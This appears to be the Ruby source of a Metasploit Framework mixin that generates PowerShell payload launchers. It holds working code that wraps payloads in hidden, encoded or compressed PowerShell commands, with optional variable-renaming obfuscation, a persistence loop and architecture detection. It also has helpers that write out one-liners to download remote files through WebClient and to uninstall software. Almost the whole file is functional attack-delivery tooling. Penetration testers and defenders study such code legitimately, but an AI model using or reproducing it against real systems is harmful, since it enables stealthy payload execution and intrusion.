321 lines
8.8 KiB
Ruby
321 lines
8.8 KiB
Ruby
# -*- coding: binary -*-
|
|
require 'rex/exploitation/powershell'
|
|
|
|
module Msf
|
|
module Exploit::Powershell
|
|
|
|
class PshScript < Rex::Exploitation::Powershell::Script
|
|
end
|
|
|
|
def initialize(info = {})
|
|
super
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('PSH::persist', [true, 'Run the payload in a loop', false]),
|
|
OptBool.new('PSH::old_technique', [true, 'Use powershell 1.0', false]),
|
|
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
|
|
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
|
|
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
|
|
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
|
|
], self.class)
|
|
end
|
|
|
|
#
|
|
# Reads script into a PshScript
|
|
#
|
|
def read_script(script_path)
|
|
return PshScript.new(script_path)
|
|
end
|
|
|
|
#
|
|
# Insert substitutions into the powershell script
|
|
# If script is a path to a file then read the file
|
|
# otherwise treat it as the contents of a file
|
|
#
|
|
def make_subs(script, subs)
|
|
if ::File.file?(script)
|
|
script = ::File.read(script)
|
|
end
|
|
|
|
subs.each do |set|
|
|
script.gsub!(set[0],set[1])
|
|
end
|
|
|
|
return script
|
|
end
|
|
|
|
#
|
|
# Return an array of substitutions for use in make_subs
|
|
#
|
|
def process_subs(subs)
|
|
return [] if subs.nil? or subs.empty?
|
|
new_subs = []
|
|
subs.split(';').each do |set|
|
|
new_subs << set.split(',', 2)
|
|
end
|
|
return new_subs
|
|
end
|
|
|
|
#
|
|
# Return an encoded powershell script
|
|
# Will invoke PSH modifiers as enabled
|
|
#
|
|
def encode_script(script_in, eof = nil)
|
|
# Build script object
|
|
psh = PshScript.new(script_in)
|
|
# Invoke enabled modifiers
|
|
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
|
|
mod_method = k.split('::').last.intern
|
|
psh.send(mod_method)
|
|
end
|
|
return psh.encode_code(eof)
|
|
end
|
|
|
|
#
|
|
# Return a gzip compressed powershell script
|
|
# Will invoke PSH modifiers as enabled
|
|
#
|
|
def compress_script(script_in, eof = nil)
|
|
# Build script object
|
|
psh = PshScript.new(script_in)
|
|
# Invoke enabled modifiers
|
|
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
|
|
mod_method = k.split('::').last.intern
|
|
psh.send(mod_method)
|
|
end
|
|
return psh.compress_code(eof)
|
|
end
|
|
|
|
#
|
|
# Generate a powershell command line
|
|
#
|
|
def generate_psh_command_line(opts)
|
|
if opts[:path] and opts[:path][-1,1] == "\\"
|
|
opts[:path] << "\\"
|
|
end
|
|
|
|
args = generate_psh_args(opts)
|
|
return "#{opts[:path]}powershell.exe #{args}"
|
|
end
|
|
|
|
#
|
|
# Generate arguments for the powershell command
|
|
#
|
|
def generate_psh_args(opts)
|
|
arg_string = ""
|
|
opts.each_pair do |arg, value|
|
|
case arg
|
|
when :encodedcommand
|
|
arg_string << "-EncodedCommand #{value} " if value
|
|
when :executionpolicy
|
|
arg_string << "-ExecutionPolicy #{value} " if value
|
|
when :inputformat
|
|
arg_string << "-InputFormat #{value} " if value
|
|
when :file
|
|
arg_string << "-File #{value} " if value
|
|
when :noexit
|
|
arg_string << "-NoExit " if value
|
|
when :nologo
|
|
arg_string << "-NoLogo " if value
|
|
when :noninteractive
|
|
arg_string << "-NonInteractive " if value
|
|
when :mta
|
|
arg_string << "-Mta " if value
|
|
when :outputformat
|
|
arg_string << "-OutputFormat #{value} " if value
|
|
when :sta
|
|
arg_string << "-Sta " if value
|
|
when :noprofile
|
|
arg_string << "-NoProfile " if value
|
|
when :windowstyle
|
|
arg_string << "-WindowStyle #{value} " if value
|
|
end
|
|
end
|
|
|
|
#Command must be last (unless from stdin - etc)
|
|
if opts[:command]
|
|
arg_string << "-Command #{opts[:command]}"
|
|
end
|
|
|
|
# Shorten args if PSH 2.0+
|
|
unless datastore['PSH::old_technique']
|
|
arg_string.gsub!('-Command', '-c')
|
|
arg_string.gsub!('-EncodedCommand', '-e')
|
|
arg_string.gsub!('-ExecutionPolicy', '-ep')
|
|
arg_string.gsub!('-File', '-f')
|
|
arg_string.gsub!('-InputFormat', '-i')
|
|
arg_string.gsub!('-NoExit', '-noe')
|
|
arg_string.gsub!('-NoLogo', '-nol')
|
|
arg_string.gsub!('-NoProfile', '-nop')
|
|
arg_string.gsub!('-NonInteractive', '-noni')
|
|
arg_string.gsub!('-OutputFormat', '-o')
|
|
arg_string.gsub!('-Sta', '-s')
|
|
arg_string.gsub!('-WindowStyle', '-w')
|
|
end
|
|
|
|
return arg_string
|
|
end
|
|
#
|
|
# Runs powershell in hidden window raising interactive proc msg
|
|
# Detect the architecture
|
|
#
|
|
def run_hidden_psh(ps_code,payload_arch)
|
|
arg_opts = {
|
|
:noprofile => true,
|
|
:windowstyle => 'hidden',
|
|
:encodedcommand => ps_code
|
|
}
|
|
|
|
# Old technique fails if powershell exits..
|
|
arg_opts[:noexit] = true if datastore['PSH::old_technique']
|
|
|
|
ps_args = generate_psh_args(arg_opts)
|
|
|
|
if payload_arch == 'x86'
|
|
arch_x86 = '$True'
|
|
else
|
|
arch_x86 = '$False'
|
|
end
|
|
|
|
process_start_info = <<EOS
|
|
$si=New-Object System.Diagnostics.ProcessStartInfo
|
|
$si.FileName=$ps_bin
|
|
$si.Arguments='#{ps_args}'
|
|
$si.UseShellExecute=$false
|
|
$si.RedirectStandardOutput=$true
|
|
$si.WindowStyle='Hidden'
|
|
$si.CreateNoWindow=$true
|
|
$p=[System.Diagnostics.Process]::Start($si)
|
|
EOS
|
|
process_start_info.gsub!("\n",';')
|
|
|
|
archictecure_detection = <<EOS
|
|
$x86=#{arch_x86};
|
|
if ([IntPtr]::Size -eq 4) {
|
|
if ($x86) {
|
|
$ps_bin='powershell.exe'
|
|
} else {
|
|
$ps_bin=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'
|
|
}
|
|
} else {
|
|
if ($x86) {
|
|
$ps_bin=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
|
|
} else {
|
|
$ps_bin='powershell.exe'
|
|
}
|
|
};
|
|
EOS
|
|
archictecure_detection.gsub!("\n","")
|
|
archictecure_detection.gsub!("\s\s","")
|
|
|
|
return (archictecure_detection + process_start_info)
|
|
end
|
|
|
|
#
|
|
# Creates cmd script to execute psh payload
|
|
#
|
|
def cmd_psh_payload(pay, payload_arch, old_psh=datastore['PSH::old_technique'])
|
|
# Allow powershell 1.0 format
|
|
if old_psh
|
|
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
|
else
|
|
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
|
end
|
|
# Run our payload in a while loop
|
|
if datastore['PSH::persist']
|
|
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
|
sleep_time = rand(5)+5
|
|
vprint_status("Sleep time set to #{sleep_time} seconds")
|
|
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
|
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
|
end
|
|
|
|
compressed = compress_script(psh_payload)
|
|
encoded = encode_script(psh_payload)
|
|
|
|
if (encoded.length <= compressed.length)
|
|
smallest_payload = encoded
|
|
else
|
|
smallest_payload = compressed
|
|
end
|
|
|
|
# Wrap in hidden runtime / architecture detection
|
|
final_payload = run_hidden_psh(smallest_payload, payload_arch)
|
|
|
|
#final_payload = encode_script(hidden_payload)
|
|
|
|
# Convert to base64 for -encodedcommand execution
|
|
psh_command = generate_psh_command_line({
|
|
:noprofile => true,
|
|
:windowstyle => 'hidden',
|
|
:command => final_payload
|
|
})
|
|
|
|
command = "%COMSPEC% /b /c #{psh_command}"
|
|
vprint_status("Command length: #{command.length}")
|
|
return command
|
|
end
|
|
|
|
|
|
#
|
|
# Useful method cache
|
|
#
|
|
module PshMethods
|
|
|
|
#
|
|
# Download file to host via PSH
|
|
#
|
|
def self.download(src,target=nil)
|
|
target ||= '$pwd\\' << src.split('/').last
|
|
return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
|
|
end
|
|
|
|
#
|
|
# Uninstall app
|
|
#
|
|
def self.uninstall(app,fuzzy=true)
|
|
match = fuzzy ? '-like' : '-eq'
|
|
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
|
|
end
|
|
|
|
#
|
|
# Create secure string from plaintext
|
|
#
|
|
def self.secure_string(str)
|
|
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
|
|
end
|
|
|
|
#
|
|
# Convert binary to byte array, read from file if able
|
|
#
|
|
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
|
|
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
|
code = code.unpack('C*')
|
|
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
|
lines = []
|
|
1.upto(code.length-1) do |byte|
|
|
if(byte % 10 == 0)
|
|
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
|
else
|
|
lines.push ",0x#{code[byte].to_s(16)}"
|
|
end
|
|
end
|
|
psh << lines.join("") + "\r\n"
|
|
end
|
|
|
|
#
|
|
# Find PID of file locker
|
|
#
|
|
def self.who_locked_file?(filename)
|
|
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
|
end
|
|
|
|
|
|
def self.get_last_login(user)
|
|
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|